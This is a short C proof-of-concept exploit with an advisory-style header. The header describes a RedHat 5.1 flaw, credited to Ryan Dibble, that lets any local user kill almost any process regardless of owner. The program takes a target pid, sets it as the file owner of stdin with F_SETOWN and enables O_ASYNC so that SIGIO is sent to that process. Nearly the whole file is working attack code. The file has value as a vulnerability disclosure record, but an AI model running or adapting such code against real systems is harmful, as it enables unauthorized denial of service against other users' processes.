/*
**   SYSTEMS AFFECTED
**      RedHat 5.1 (others?)
**
** PROBLEM
**
**    Ryan Dibble found  following.  The  code below will  result in the
**    termination of almost any process no matter who owns it.  The good
**    news is  that init,  kflushd, kswapd,  and klogd  appear not to be
**    effected.  In order to run this the user must have login access to
**    the machine.  This code has been tested on two different  machines
**    running RedHat 5.1 with the following packages:
**
**        kernel-2.0.34-0.6
**        glibc-2.0.7-13
**        glib-1.0.1-2
**        glibc-debug-2.0.7-13
**        glibc-devel-2.0.7-13
**        glibc-profile-2.0.7-13
**
*/

#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  int s, p;
  if (argc != 2) {
    fputs("Please specify a pid to send signal to.\n", stderr);
    exit(0);
  } else {
    p = atoi(argv[1]);
  }
  fcntl(0,F_SETOWN,p);
  s = fcntl(0,F_GETFL,0);
  fcntl(0,F_SETFL,s|O_ASYNC);
  printf("Sending SIGIO - press enter.\n");
  getchar();
  fcntl(0,F_SETFL,s&~O_ASYNC);
  printf("SIGIO send attempted.\n");
  return 0;
}